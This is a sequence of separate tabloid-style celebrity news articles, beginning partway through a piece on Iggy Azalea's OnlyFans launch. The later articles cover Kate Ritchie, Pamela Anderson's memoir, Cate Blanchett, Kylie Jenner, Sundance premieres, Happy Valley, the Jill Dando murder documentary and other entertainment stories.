'Once I looked beyond the surface-level chatter about what it means to have an OnlyFans, I realized it was the perfect platform to launch a multimedia concept on,' she continued.

On Tuesday, the star shared some 'artistic' photos of herself in a green bra on social media and told her followers to head to OnlyFans to see more

'I feel excited about not having to worry about the overwhelming and creatively limiting censorship artists have to navigate when sharing work on other digital platforms. The project is bold and fun  so is this collaboration  I think its going to surprise a lot of people.'

Iggy added that her page is 'unapologetically hot' and was largely inspired by '90s Pamela Anderson and Madonna's infamous Sex book.

The rapper's last hit on the American Billboard charts was her 2019 single Sally Walker, which peaked at No. 62 and was certified gold.

Her last two albums, End of an Era and the EP Wicked Lips, failed to chart in Australia and the US.
Kate Richie has changed up her hairstyle after a challenging year.

The former Home and Away actress, who recently spent time in rehab for alcohol dependency, emerged from a Double Bay salon with a new blonde 'do on Monday.

After her visit to the hairdresser, the 44-year-old mother of one ran errands around Sydney's eastern suburbs.

Kate Richie emerged from a Double Bay salon with a new blonde hairstyle on Monday

Kate carried a coffee and muffin along with haircare products as she walked back to her car after her haircut.

The Nova FM radio presenter dressed casually in skinny jeans and a denim shirt.

She accessorised with oversized spectacles, sneakers and a crossbody handbag.

After her visit to the hairdresser, the 44-year-old mother of one ran errands around Sydney's eastern suburbs

She seems to be in a much better place than she was late last year when she spent time in a rehab clinic to address her dependence on alcohol.

The media personality recently reassured listeners she was 'doing well' and would be back on her Nova FM drive show in a few weeks' time.

'Hi all, I'll be away for a few more weeks,' she wrote on Instagram, addressing her extended absence from the late-afternoon slot.

The former Home and Away star carried a coffee and muffin along with haircare products as she walked back to her car after her haircut

'But in the meantime make sure you tune in to the guys who will be back live in the studio from 4pm Monday!'

'By the way, I'm doing well and excited for 2023.'

Kate's Nova FM co-host Joel Creasey told the Herald Sun on Monday she was 'feeling great' ahead of her return to the studio.

Kate accessorised with oversized spectacles, sneakers and a crossbody handbag

'I haven't seen her in a few months, I've missed her and her wicked cackle. She said she's feeling great and that's lovely to hear,' the comedian said.

'She's been in showbiz since seven years of age.

'It's nice to see [taking a break] being normalised and that you're allowed to have time off.'

She seems to be in a much better place than she was late last year when she spent time in a rehab clinic to address her dependence on alcohol

The media personality recently reassured listeners she was 'doing well' and would be back on her Nova FM radio show in a few weeks' time

Kate announced in October she was stepping away from the Kate, Tim and Joel show.

It was later revealed she was seeking treatment for alcohol dependency, after Daily Mail Australia obtained photos of her outside a rehab facility.

Ricki-Lee Coulter has been filling in during her absence.
Pamela Anderson revealed the extent of her ex husband Tommy Lee's jealousy over her Baywatch co-star David Chokachi in her upcoming documentary.

The Barb Wire star, 55, has been promoting her new memoir 'Love, Pamela' as well as the upcoming Netflix documentary, 'Pamela: A Love Story', in which she reportedly shares diary entries that describe Lee's alleged jealously, as per The Guardian.

'Tommy was so jealous. I thought thats what love is. I had to kiss David Chokachi but I didn't tell Tommy. He lost it. He trashed my trailer on the set, put his fist through a cabinet,' the blonde bombshell reportedly wrote.

Jealous: Pamela Anderson revealed the extent of her ex husband Tommy Lee's jealousy over her Baywatch co-star David Chokachi in her upcoming documentary; Pictured with Lee

Anderson  who was married to the Motley Crue drummer for three years  went on to state: 'I apologized for not telling him  lying, as he put it  and told him it wouldn't happen again.'

She also wrote that the musician  with whom she shares sons Brandon, 26, and Dylan, 25  crashed his car into the makeup trailer on set which he visited every day, while looking for 'wife time.'

The superstar famously played CJ Parker on Baywatch from season 3 to season 7 of the show, starting in 1992. Meanwhile Chokachi played lifeguard Cody Madison and one of her romantic interests from 1996 until 1999.

The kiss: 'I had to kiss David Chokachi but I didn't tell Tommy. He lost it. He trashed my trailer on the set, put his fist through a cabinet,' she shared; Pictured kissing Chokachi on set in Malibu in 1995

Iconic role: Anderson played CJ Parker on Baywatch from season 3 to season 7, while Chokachi played lifeguard Cody Madison and one of her romantic interests

After four years on the hit series, she left to pursue other acting and modelling opportunities. She came back in 2003, along with other cast members, for Baywatch: Hawaiian Wedding.

Anderson and Lee famously got married on a beach in Cancun, Mexico after a four day whirlwind courtship. The blonde beauty divorced him in 1998, after he was arrested for spousal abuse and served four months of a six-month jail sentence, but it was later reported the two were trying to reconcile.

She recently described what led to the incident in an interview with People, saying: 'Tommy ripped Brandon off me and threw me and Dylan into a wall.' She then called 911 and Lee was arrested.

Jealous guy: 'Tommy was so jealous. I thought thats what love is,' the star added, saying she 'apologized for not telling him,'; Pictured 1995

'The divorce from Tommy was the hardest, lowest, most difficult point of my life,' Pamela wrote. 'I was crushed. I still couldn't believe that the person I loved the most was capable of what had happened that night. We were both devastated, but I had to protect my babies.'

In a trailer from the Netflix show, Anderson is filmed sifting through a pile of letters which he wrote to her from jail. 'He really fought for us to stay together. I had to bifurcate the divorce because he wouldn't sign the papers. But it wasn't a grey area for me - you can't do that.'

Despite her tumultuous relationship with Lee  who has been married to 36-year-old Vine star Brittany Furlan since 2019  the animal rights activist recently revealed that her first husband is the only man she has ever truly been in love with.

Tumultuous: Anderson divorced Lee in 1998, after he was arrested for spousal abuse and served four months in jail, but they later attempted to reconcile; Pictured 2007

In an excerpt from her book 'Love, Pamela' shared with the publication on Wednesday, the Playboy cover girl spoke candidly about her doomed romance confessing that she's 'made peace' with the hell-raiser and is looking back at their relationship more fondly.

'My relationship with Tommy may have been the only time I was ever truly in love,' she revealed. 'We just wanted to have babies and be together forever,' she said of her time with the rocker.

However, their relationship suffered a hit when their sex tape was stolen and leaked - which Pamela suggests was the catalyst for why they ultimately split up.

She made the tape with drummer during a 1995 vacation to Lake Mead, a reservoir formed by the Hoover Dam on the Colorado River in the Southwestern United States.

The one: Despite their tumultuous relationship, the animal rights activist recently revealed that her first husband is the only man she has ever truly been in love with; Pictured 2004

'It ruined lives, starting with our relationship  and it's unforgivable that people, still to this day, think they can profit from such a terrible experience, let alone a crime,' Pamela shared in her memoir.

Anderson's other marriages were to Kid Rock from 2006 until 2007, Rick Salomon from 2007 until 2008, and then again from 2014 until 2015, and finally her bodyguard Dan Hayhurst, whom she wed in 2020 and split from in January 2022.

Anderson's memoir, 'Love, Pamela' and her documentary, 'Pamela: A Love Story,' will both be released on January 31.
Cate Blanchett has sparked confusion after footage surfaced of the actress seemingly 'zoning out' during a junket interview for her new movie Tar.

A viral video shows the Oscar winner, 53, staring at the ground as if completely frozen as her co-star Nina Hoss speaks to a Digital Spy reporter about the film.

Blanchett didn't blink once as she sat with her arms and legs crossed while listening to Hoss talk for a full 15 seconds.

Cate Blanchett (right, with Nina Hoss) has sparked confusion after footage surfaced of the actress seemingly 'zoning out' during a junket interview for her new movie Tar

Social media users have poked fun at her strange behaviour, with some comparing Blanchett to a 'robot' that had 'run out of batteries'.

'I thought the video was, like, partially frozen. The way she doesn't even blink,' one person tweeted.

'She's on low battery and had to charge for 15 seconds,' another joked, while a third added: 'Even her hands and everything. Next stop is Madame Tussauds.'

A viral video shows the Oscar winner, 53, staring at the ground as if completely frozen as her co-star Nina Hoss speaks to a Digital Spy reporter about the film

Some speculated that Blanchett was daydreaming, while others suggested the Ocean's Eight star was just 'very into' what Hoss was saying.

It comes after Blanchett came under fire for her Golden Globe-winning role in the new film Tar.

She plays Lydia Tar, who rises to become the first-ever female conductor of a German orchestra.

Social media users have poked fun at her strange behaviour, with some comparing Blanchett to a 'robot' that had 'run out of batteries'

Some speculated that Blanchett was daydreaming, while others suggested the Ocean's Eight star was just 'very into' what Hoss was saying

While many have condemned the critically acclaimed film as 'anti-woman' - because Blanchett's character is revealed to be a narcissistic bully - Blanchett came to its defence in an interview with BBC Radio 4.

She described the movie, directed by Todd Field, as 'very provocative' and said it was 'a mediation on power - and power is genderless'.

The backlash to Tar has been spearheaded by the real-life conductor Marin Alsop, who said she was offended by the portrayal of the protagonist.

It comes after Blanchett came under fire for her Golden Globe-winning role in Tar. She plays Lydia Tar, who rises to become the first-ever female conductor of a German orchestra

Marin, 66, who is one of the world's top female conductors, told The Australian last Friday: 'To have an opportunity to portray a woman in that role to make her an abuser, for me that's heartbreaking.'

Blanchett said Alsop was entitled to her opinion but distanced herself from any accusation the film used Alsop - or any other female conductor - as the basis for her character.

Blanchett is tipped to win her second Best Actress Oscar for the role.

The backlash to Tar has been spearheaded by the real-life conductor Marin Alsop (pictured on August 21, 2021, in New York), who said she was offended by the portrayal of the protagonist
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Kylie Jenner did not look pleased as she watched Irina Shayk strut down the runway in the exact same dress she was wearing to the star-studded Schiaparelli show on Monday.

While the makeup mogul, 25, certainty got plenty of attention in her faux lion head dress, she seemed surprised to see the 37-year-old model nearly steal her thunder on the catwalk as people instantly began to access which of the women wore it best.

In footage of the mom-of-two watching Shayk turn heads in the controversial gown from the Italian fashion house Inferno Couture line, can be seen nodding with a stoic expression across her face.

Who wore it best? Kylie Jenner did not look pleased as she watched Irina Shayk strut down the runway in the exact same dress she was wearing to the star-studded Schiaparelli show on Monday

Kylie wearing the Schiaparelli dress before it hit the runway pic.twitter.com/GeQQqb9API  michealla (@PRADAXBBY) January 23, 2023

Fans flooded the comment section of a viral TikTok, which captured the exchanged, with hilarious quips about what the reality star could possibly have been thinking in the moment.

One viewer speculated: 'Kylie's like: 'Okay, someone's getting fired today.'

Others joked that she may have thought her look 'was custom made' and this was definitely one way to 'embarrass a billionaire.'

Unbelievable: Fans flooded the comment section of a viral TikTok, which captured the exchanged, with hilarious quips about what the reality star could possibly have been thinking in the moment

Funny: Fans flooded the comment section of a viral TikTok, which captured the exchanged, with hilarious quips about what the reality star could possibly have been thinking in the moment

Despite the daring look sparking controversy across social media, it got an unexpected seal of approval for avoiding using animal products.

In a statement to DailyMail.com, PETA President Ingrid Newkirk praised Jenner and Shayk for possibly making a statement against trophy hunting.

'These fabulously innovative three-dimensional animal heads show that where theres a will, theres a way  and Kylie, Naomi and Irinas looks celebrate the beauty of wild animals and may be a statement against trophy hunting, in which lions and wolves are torn apart to satisfy human egotism,' she said.

Despite the daring look sparking controversy across social media, it got an unexpected seal of approval for avoiding using animal products

Newkirk also urged the fashion stars to give up using wool products, which PETA says leads to the abuse and injury of sheep, and silk, which results in silkworms being killed in many instances.

The applause from PETA was a surprising turnaround for Kylie, who has been criticized in the past by animal rights advocates for her use of fur clothing.

Kylie's other family members have also come under fire in the past for wearing fur, though it seems to have made the biggest impact on Kim Kardashian.

In 2019, the SKIMS co-founder revealed that she had had all of the fur clothing in her closet remade with faux fur.

Previously, she had been hounded by activists and was once even flour bombed by a person supporting PETA.

Bad blood: The applause from PETA was a surprising turnaround for Kylie, who has been criticized in the past by animal rights advocates for her use of fur clothing; seen in 2017 in NYC

Kylie's striking look at Paris Fashion Week comes after she finally revealed the face and name of her youngest child.

The raven-haired beauty shared photos of herself posing with her 11-month-old son Aire, whom she shares with her now-ex Travis Scott.

The couple had previously strived to keep their son's privacy and had not posted any photos of his face to social media while also keeping him away from public spaces.

They previously announced that his name was Wolf, only to share that they had changed it after deciding it didn't suit the little boy.
Anne Hathaway praises the cast and director William Oldroyd at the Sundance premiere of her new film Eileen.

The 40-year-old actress started acting as a teenager, first appearing in the short-lived TV series Get Real in 1998 before making her feature film debut with 2001's The Princess Diaries, with Hathaway currently prepping Princess Diaries 3 adding recently how 'thrilled' she is that fans are excited about it.

The actress was at the Sundance Film Festival in Park City, Utah participating in a Q&A after the premiere of her new film Eileen, and revealing why she wanted to work with director William Oldroyd

Opening up: Anne Hathaway is opening up about one of the first questions she was asked by movie press when she was just 16 years of age

Teenager: The 40-year-old actress started acting as a teenager, first appearing in the short-lived TV series Get Real in 1998 before making her feature film debut with 2001's The Princess Diaries, with Hathaway currently prepping Princess Diaries 3 adding recently how 'thrilled' she is that fans are excited about it

'I'm really honored to be in this cast,' Hathaway began, standing next to castmates Thomasin McKenzie, Shea Whigham and Marin Ireland.

'I'm really proud to be in this movie so thank you everyone so so very much. I wanted to work with Will after seeing Lady Macbeth. It was an extraordinary piece of work in which I saw complex... sometimes you say words and you don't know if you're going to regret it afterwards so if this turns into an annoying headline later I'm really sorry,' Hathaway added as the crowd laughed.

'I thought it was extraordinary work. I saw a study of female complication that hit me really, really deep, and I felt like Will was a filmmaker that could be trusted to tell complicated stories, especially about females,' she added.

Honored: 'I'm really honored to be in this cast,' Hathaway began, standing next to castmates Thomasin McKenzie, Shea Whigham and Marin Ireland

That meant a great deal to me because I just remembered one of the very first questions I ever got asked when I started acting work, which meant, you know, when I had to do press, was, "Are you a good girl or a bad girl?"' she said, as the crowd audibly gasped.

'I was 16, and my 16-year-old self wanted to respond with this film. Though I did not know that when I read the script, I think a part of me hoped for this exact moment,' she added.

Her new film Eileen was adapted from the book of the same name by Ottessa Moshfegh and adapted by Luke Goebel.

Good or bad: That meant a great deal to me because I just remembered one of the very first questions I ever got asked when I started acting work, which meant, you know, when I had to do press, was, "Are you a good girl or a bad girl?"' she said, as the crowd audibly gasped

Respond: 'I was 16, and my 16-year-old self wanted to respond with this film. Though I did not know that when I read the script, I think a part of me hoped for this exact moment,' she added

The story is set in frigid 1960s Boston, following Eileen (McKenzie), who shuffles between her fathers emotionally haunted home and the prison where she works alongside colleagues who have ostracized her.

Hathaway plays Rebecca St. John, described as, 'an intoxicating woman' who joins the staff and Eileen becomes more and more interested in her.

The film has been getting strong reviews out of its Sundance premiere as it continues seeking a distribution deal.

Intoxicating: Hathaway plays Rebecca St. John, described as, 'an intoxicating woman' who joins the staff and Eileen becomes more and more interested in her

Strong reviews: The film has been getting strong reviews out of its Sundance premiere as it continues seeking a distribution deal

She also opened up earlier at Sundance about being 'thrilled' over the level of excitement for The Princess Diaries 3, which was announced in November.

'We feel the exact same, and I know it's probably very frustrating,' she said of the lengthy process of making a sequel.

'It's a process that requires patience, and so everybody should consider themselves a part of the movie business now, because this is how long it actually takes to make things,' she said.

Thrilled: She also opened up earlier at Sundance about being 'thrilled' over the level of excitement for The Princess Diaries 3, which was announced in November

Couple outing: Anne was snapped alongside husband Adam Shulman on Tuesday as they strolled Paris during the city's fashion week

Chic: Anne looked typically stylish as she donned a pair of wide-leg blue jeans with a cream knitted jumper
Happy Valley has filmed extra scenes in a bid to keep the hugely anticipated finale to the BBC drama underwraps.

Star of the third and final series of the crime series Amit Shah, who plays the drug -dealing pharmacist at the centre of this season's murder plot, has spilled the show secrets.

Speaking on the podcast Obsessed with... Happy Valley, Amit insisted he has no clue how his character Faisal's storyline will end as he filmed multiple endings.

Multiple endings: Happy Valley has filmed extra scenes in a bid to keep the hugely anticipated finale to the BBC drama underwraps, series three star Amit Shah has revealed

'I still don't know how it all ends up for him because we filmed the final scenes in various different ways,' he explained.

Viewers have seen Faisal murder Joanna Hepworth in a fit of rage after his drug-dealing sideline began to unravel.

A key scene in the latest episode saw a cool, calm and collected Faisal in a confrontation with Joanna's abusive husband just hours after the murder.

Speaking on the podcast Amit added of Faisal's latest scenes: 'I think he's going through that weird transition period.

Murder: Viewers have seen Faisal murder Joanna Hepworth (Mollie Winnard) in a fit of rage after his drug-dealing sideline began to unravel - Pictured with Sarah Lancashire as Cawood

Major discovery: Viewers have seen Faisal murder Joanna Hepworth in a fit of rage before her husband Rob discovered her body stuffed in a suitcase on Sunday's episode

'When the collision happens and he realises it's Rob, like a switch goes in his head. He thinks, "Okay, I can either be Faisal from before or I can take control of the situation'. It's just a different him."

The last five minutes of the latest episode of the hit BBC drama saw major developments in the two storylines, as Rob Hepworth discovered his wife Joanna's body, and Tommy Lee Royce made his great escape.

One fan declared that the show 'makes it impossible to get an early night' as the episode ended with yet another cliffhanger and the prospect of a final showdown between Catherine Cawood (Sarah Lancashire) and Royce (James Norton).

Finale: Speaking on the podcast Obsessed with... Happy Valley, Amit insisted he has no clue how his character Faisal's storyline will end as he filmed multiple endings

Meanwhile the series' other major story strand played out as Joanna's disappearance raised suspicions.

Episode three saw Faisal Bhatti murder Joanna in a fit of rage after their plan to kill Rob unravelled.

Despite her husband Rob insisting it was in her character to disappear, Joanna's concerned parents were seen arriving at the police station to file a missing person report with Sgt Cawood.

After being questioned at home, Rob noticed a suitcase in the garage and opened it to the horrifying scene of his wife's body crammed inside.

Viewers hailed the show's writer Sally Wainwright for her skill in bringing two storylines to a head in a matter of minutes.

On the run: The last five minutes of the latest episode of the hit BBC drama saw major developments in the two storylines, as Rob Hepworth discovered his wife Joanna's body, and Tommy Lee Royce made his great escape

Happy Valley: Four fan theories Viewers are still left scratching their heads about how the various sub-plots will link up. Advertisement

'To build that amount of tension in an episode takes skill, but to build that amount of tension on 2 separate story strands within an episode, is writing & direction of the highest order. #HappyValley,' declared one fan.

Another pointed out that 'Happy Valley makes it impossible to get an early night on a Sunday. Every episode leaves you with a heart rate of about 200 BPM.'

'Jesus christ. Didn't breathe for about ten minutes,' agreed another.

Others reasoned that once again Cawood's hunch that Tommy was planning something during his court hearing proved to be right, as they begged her colleagues and family to 'always listen to Catherine when she's got a hunch.'

Tommy's escape signals that a final showdown between him and Cawood is building, but with it being the final series some viewers are beginning to worry that Sarah Lancashire's lead won't make it to retirement.

'If bad things happen to Catherine at the end of this series I'm not sure I will be able to forgive Sally Wainwright and co.' tweeted author JoJo Moyes.

Happy Valley continues on BBC One on Sunday at 9pm.
Netflix are making a new documentary on the unsolved murder of British television presenter Jill Dando.

BBC Crimewatch presenter Jill was tragically shot in the head outside her west London home in 1999, prompting Britain's biggest police investigation since the Yorkshire Ripper. She died aged 37.

Now the streaming giant are putting together a documentary about Jill's final movements and her murder in broad daylight, which shocked the nation.

Mystery: Netflix are said to be making a new documentary on the unsolved murder of Jill Dando

The multi-part series will blend archive, new research and revelatory interviews, to revisit Dandos life, career, legacy and what would become one of the most notorious unsolved murders of the 20th century.

The documentary, which will launch globally on Netflix in 2023, is directed by Marcus Plowright (Fred and Rose West: Reopened) and executive produced by Emma Cooper (The Mystery of Marilyn Monroe: The Unheard Tapes).

In 1987, Jill worked for Television South West, then BBC Spotlight before being transferred to London the following year where she went on to achieve national fame.

Tragic: BBC Crimewatch presenter Jill was tragically shot in the head outside her west London home in 1999, prompting Britain's biggest police investigation since the Yorkshire Ripper

Case: Her murder prompted a huge investigation led by Metropolitan Police and resulted in Barry George being sent to prison for murder in July 2001, he was later unanimously acquitted

On the morning of 26 April 1999, Jill Dando was killed outside her home in West London.

Her murder became one of the most high profile and complex investigations in British history.

The shooting shocked the capital and the population as a whole. At the time of her death, her television work included co-presenting the BBC One programme Crimewatch with Nick Ross.

The presenter was found by neighbours slumped against her front door in a pool of blood after suffering a single gunshot wound to the head.

So sad: These are the haunting last images of Jill Dando-pictured just 40 minutes before she was assassinated outside her home

Unsolved: Jill is pictured with her fiance Alan Farthing in 1999, months before she was shot dead on the doorstep of her home in Fulham

Jill's murder prompted a huge investigation led by Metropolitan Police and resulted in Barry George being sent to prison for murder in July 2001.

However, he was granted a retrial on appeal and was unanimously acquitted by a jury in August 2008.

It has long been suspected that Jill was shot by a professional assassin.

A blue Range Rover that was parked illegally on the street where she lived, Gowan Avenue, was caught on CCTV driving away at speed from the area.

In June last year, it was revealed that Jill's killer may have mistaken her for another BBC journalist who was the real target of an assassination plot, astonishing documents submitted to a Paris court suggest.

Career: In 1987, Jill worked for Television South West, then BBC Spotlight before being transferred to London the following year where she went on to achieve national fame

A French fashion mogul accused of multiple counts of sexual assault hired a Russian hitman to murder presenter Lisa Brinkworth after she went undercover to expose his agency, according to extraordinary claims in the papers.

The assassin may have mistaken Miss Dando for the real target given striking similarities in their appearance and occupation, as well as the fact that they lived in the same part of London, lawyers argue.

The lawyers also note that Miss Dando's fiance, Alan Farthing, was Miss Brinkworth's doctor.
Married at First Sight star Domenica Calarco has confirmed the police investigation into her nude photo leak is on hold after Olivia Frazer refused to speak to police.

The Sydney-based influencer, 29, revealed on Tuesday the case against her former co-star had 'stalled' because Olivia and other parties exercised their legal right not to talk to police, meaning there is no new evidence to go on.

'The police are just still investigating it. [The matter] has gone on for a really long time,' she explained.

Married at First Sight star Domenica Calarco (pictured) has confirmed the police investigation into her nude photo leak is on hold, after Olivia Frazer refused to speak to police

'I did get a call two weeks ago from the police [telling me] at this stage in the investigation it has kind of stalled because Olivia was contacted and she didn't want to talk, which is her legal right.'

Back in March, Daily Mail Australia revealed NSW Police had launched two separate investigations relating to the filming of MAFS.

One complaint concerned Olivia reportedly distributing Domenica's naked photo among her fellow cast members, with viewers likening her actions to 'revenge porn'.

The Sydney-based influencer, 29, revealed on Tuesday the case against her former co-star had 'stalled' because Olivia (pictured) and other parties exercised their legal right not to talk to police, meaning there is no new evidence to go on

Police confirmed a second complaint was made on March 19, 2022, to officers at Inner West Police.

The second complaint was in relation to the glass-smashing incident that occurred in November 2021 on a property in Bargo while filming the couples' retreat.

However, NSW Police decided to drop this case and no action was taken since 'there was no evidence of any law being broken'.

Back in March, Daily Mail Australia revealed NSW Police had launched two separate investigations relating to the filming of MAFS. One of the investigations concerned the glass-smashing incident at the couples' retreat (pictured), but this was dropped by police

Frazer reportedly asked her friends to 'dig up dirt' on Calarco, which resulted in the discovery of a nude photo she had posted on Twitter on January 2, 2021.

Calarco had shared the image on her public Twitter profile to promote her OnlyFans account, which has since been deleted.

The photo quickly spread through the MAFS cast via WhatsApp, and was addressed at the first dinner party following the couples' retreat.

This altercation led to an even bigger scandal when Olivia (pictured) got her revenge by 'outing' Calarco as an OnlyFans model

Calarco was humiliated to learn her co-stars knew about her OnlyFans account and had seen her naked, and eventually broke down in tears.

Frazer refused to apologise for discovering and sharing the photo.

While the distribution of the image was described by many viewers on Twitter at the time as 'revenge porn', it does not appear to meet this legal definition because the nude photo was posted publicly on Twitter by Calarco for promotional purposes.
Gemma Owen displayed her taut abs as she modelled her first PrettyLittleThing collection in a new advert on Monday.

The Love Island runner up, 19, slipped into a silky shirt before changing into a fitted crop top in the behind-the-scenes shots on location in Los Angeles.

Gemma, who signed a six-figure deal with the fashion giant in summer, looked incredible in the stunning shots.

Exciting: Gemma Owen, 19, displayed her taut abs as she modelled her first PrettyLittleThing collection in a new advert on Monday

Her chocolate brown tresses were left to fall into a soft crimp, while she opted for a nude palette of makeup.

In another look, she wore a graphic printed mesh bodysuit with loose fitting tan cargo trousers.

Between takes, Gemma kept warm in a bright pink fluffy dressing gown as she smiled for the camera.

Chic: The Love Island runner up slipped into a silky shirt before changing into a fitted crop top in the behind-the-scenes shots on location in Los Angeles

Glowing: Her chocolate brown tresses were left to fall into a soft crimp, while she opted for a nude palette of makeup

Stylish: In another look, she wore a graphic printed mesh bodysuit with loose fitting tan cargo trousers

After signing a six-figure deal with the brand, Gemma jetted to Los Angeles, which was the first time she had ever travelled to the States, to capture the new 43-piece range.

PLT's desire to collaborate with Gemma came after she finished runner-up on Love Island last year alongside ex-boyfriend, Brighton fish monger Luca Bish, and she amassed over 2million Instagram followers.

The star told MailOnline earlier this week: 'I'm so excited because we have been working on this collection since September last year.

New venture: After signing a six-figure deal with the brand, Gemma jetted to Los Angeles, which was the first time she had ever travelled to the States

Sun-soaked: Gemma looked incredible in the stunning shots

Fun-filled: Between takes, Gemma kept warm in a bright pink fluffy dressing gown as she smiled for the camera

'The collection is classic looks that represent my style. I feel like they are pieces that can never really go out of fashion and you can wear them season after season.'

Elsewhere, she revealed to MailOnline that she is 'definitely single', shutting down claims of a romance between herself and Bugzy Malone.

Rumours of the romance began circulating earlier this month and spread like wildfire on video streaming app TikTok.

Behind-the-scenes: PLT's desire to collaborate with Gemma came after she finished runner-up on Love Island last year alongside ex-boyfriend, Brighton fish monger Luca Bish

Taking a look: The star told MailOnline earlier this week: 'I'm so excited because we have been working on this collection since September last year'

On set: 'The collection is classic looks that represent my style. I feel like they are pieces that can never really go out of fashion and you can wear them season after season' she said

But clearing things up during a chat with MailOnline, she said: 'I have never met or spoken to him and we don't follow each other on social media. I am not dating and I am definitely single.

'Just after Christmas, I had much needed time with my family and friends and I am working on myself. I am not going to date anytime soon and I'm not looking.

'On a personal level, I want to work on my happiness and investing time in people close to me, my family and friends and just being content in myself.'

The rumours came after MailOnline revealed in November that Gemma and co-star Luca had ended their two-month relationship after the romantic spark between them dwindled once they left the ITV2 villa.
Anna Camp was a bright sight while attending the premiere of A Little Prayer at The Ray Theatre in Utah on Monday, during the 2023 Sundance Film Festival.

The 40-year-old star stunned in a colorful floor-length striped gown with a plunging neckline and a frilly hem.

The True Blood actress accessorized with a gold necklace, a turquoise ring, and chunky black boots.

Colorful: Anna Camp was a bright sight while attending the premiere of A Little Prayer at The Ray Theatre in Utah on Monday, during the 2023 Sundance Film Festival

The beauty wore her shoulder-length black tresses parted on the side and lightly curled.

As for glam, she wore a touch of nude lipstick and highlighted her cheeks with bronzer.

Also present at the premiere was the star of the film Jane Levy, 33, who was stylish as ever in a long camel coat, underneath which she sported a black turtleneck and matching pants.

Stunner: The 40-year-old star stunned in a colorful floor-length striped gown with a plunging neckline and a frilly hem

The actress  who plays Tammy in the film  accessorized with gold hoop earrings.

The blonde beauty wore her tresses slicked back for the event, and accentuated her pout with dark red lipstick.

Celia Weston, 71  who plays Venida in the movie  looked elegant in a black floral jacket and pearls.

Chic: Also present at the premiere was the star of the film Jane Levy, 33, who was stylish as ever in a long camel coat, underneath which she sported a black turtleneck

Stylish: The blonde beauty wore her tresses slicked back for the event, and accentuated her pout with dark red lipstick

The actress wore an all-black outfit underneath, which she paired with sturdy black boots.

The youngest star of the film, Billie Roy, seven, made an adorable appearance wearing a sparkling silver sweater, black bell bottom pants, and red boots.

A Little Prayer was written and directed by Angus MacLachlan, and also stars Will Pullen (David) and David Strathairn (Bill).

Elegant: Celia Weston, 71  who plays Venida in the movie  looked elegant in a black floral jacket and pearls

Rising star: The youngest star of the film, Billie Roy, seven, made an adorable appearance wearing a sparkling silver sweater, black bell bottom pants, and red boots

According to the film's IMDb page, the plot revolves around man who 'tries to protect his daughter-in-law when he finds out his son is having an affair.

MacLachlan spoke about the film in a recent interview with The Hollywood Reporter, where he discussed the unique plot.

'The story encompasses a lot of the characters situations, and at its heart, I wanted that unique relationship of father and daughter-in-law. Their love for each other is not just because they are family-by-marriage, but because they have similar souls.'

He added, 'While Tammy is the heart center, Bills path, growth and final action of letting go was intriguing to me.'
Everyone Else Burns

Rating: **

How the Holocaust Began

Rating: ****

Good comedy is never politically correct. Ideas in the worst possible taste can inspire classic sitcoms.

A World War II sex farce starring sadistic Gestapo agents and nubile resistance fighters is a terrible notion, but Allo Allo! is still making audiences snort with laughter.

More recently, Greg Davies wrote The Cleaner, an all-star BBC1 show with an appalling concept: his character mops up murder scenes for a living. Its funnier than it sounds.

But an outrageous idea doesnt guarantee laughs. Everyone Else Burns (Ch4), about a bullying, coercive and controlling father (Simon Bird) whose family detests him, misses the mark badly.

Everyone Else Burns, about a bullying, coercive and controlling father (Simon Bird) whose family detests him, misses the mark badly. Pictured: (Left to right ) Harry Connor as Aaron, Kate O'Flynn as Fiona, Simon Bird as David and Amy James-Kelly as Rachel

Theres rarely anything amusing about men like David, who compensates for a life of failure by subjugating his wife, Fiona (Kate OFlynn), and terrorising his children, Rachel and Aaron.

Their lives revolve around their church, a sect apparently based on the Jehovahs Witnesses. Rachel is sent out evangelising door-to-door when she would rather be studying, and David is obsessed with being made an Elder.

Fiona is bitter and depressed, unable even to watch television  her husband destroyed their set to prevent it from beaming sinful pictures into the living room. Aaron (Harry Connor, gleefully creepy and one of the bright spots in this show) spends his time drawing pictures of his father being torn apart by wild boars.

This set-up could conceivably be funny if all our sympathy was with the family. Instead, the focus is on David, who is meant to be pathetically likeable  a version of Ricky Gervaiss character in The Office, if he were a religious maniac.

Theres rarely anything amusing about men like David, who compensates for a life of failure by subjugating his wife, Fiona, and terrorising his children, Rachel and Aaron

Strangely, although hes socially inept most of the time, David is well-liked at the delivery depot where he works. His manager pleads with him to accept promotion, because he sorts parcels with such efficiency and nonchalant dexterity. The joke here seems to be that, while David is good at his job, its manual labour and therefore beneath the contempt of Channel 4 viewers.

Simon Bird has previously starred in two hit sitcoms  The Inbetweeners, about a gang of misfits at school, and Friday Night Dinner, a wickedly sharp send-up of family foibles and eccentricities.

Telltale tipple of the week Telltale tipple of the week: Much is made of which medic drinks what in Maternal (ITV1). Posh Catherine prefers red wine, edgy Helen glugs beer, and conscientious Maryam sticks to water. So what sort of doctor drinks malt whisky, I wonder? A consultant, no doubt. Advertisement

Everyone Else Burns wont be his third hit. It doesnt work, because no one will feel even grudging affection for a control freak who rouses his children in the early hours to practise for the Apocalypse, or punishes his daughter for asking to have a mobile phone.

Thats doubly true right now when, by coincidence, a similar man (the school teacher brilliantly played by Mark Stanley) is at the centre of Sally Wainwrights explosive Sunday night drama Happy Valley. Davids perverse belief that anyone who didnt think like him deserved hellfire also contrasted badly with the archaeological investigations by Imperial War Museum historian James Bulgin on How The Holocaust Began (BBC2).

Mapping the rural towns in Latvia and Lithuania that bore the first brunt of Hitlers invasion in 1941, Bulgin uncovered traces of mass graves where hundreds of thousands of Jewish people were lined up and shot.

The evidence of Babyn Yar, further south in Ukraines capital, Kyiv, where 33,000 were killed in two days, is deeply harrowing.

But his account placed too little emphasis on earlier mass murders in German mental institutions, where SS death squads were first trained in wholesale killing, before war was declared on the Soviet Union.

Bulgin touched on this right at the end, showing a gas chamber built to slaughter the mentally disabled  those the Nazis called life unworthy of life. They deserved more than a single minute of his attention.
Camila Morrone gifted her fans a new selfie she uploaded onto her Instagram Story on Monday as she showcased an elegant Chanel dress.

The model and actress, 25, who previously dated Hollywood icon Leonardo DiCaprio until their split last year in August, opted not to add any caption to the fashionable snap.

The Death Wish star modeled the semi-sheer gown ahead of the fashion house's anticipated runway show, which is scheduled for January 24 amid Paris Haute Couture Fashion Week.

Elegant: Camila Morrone, 25, showcased a stunning black Chanel ensemble in a snap shared to her Instagram Story on Monday

The star gave a glimpse of a black dress featuring a corset-style top piece that contained a small cutout just below her bust, with a classy black bow placed on the low neckline.

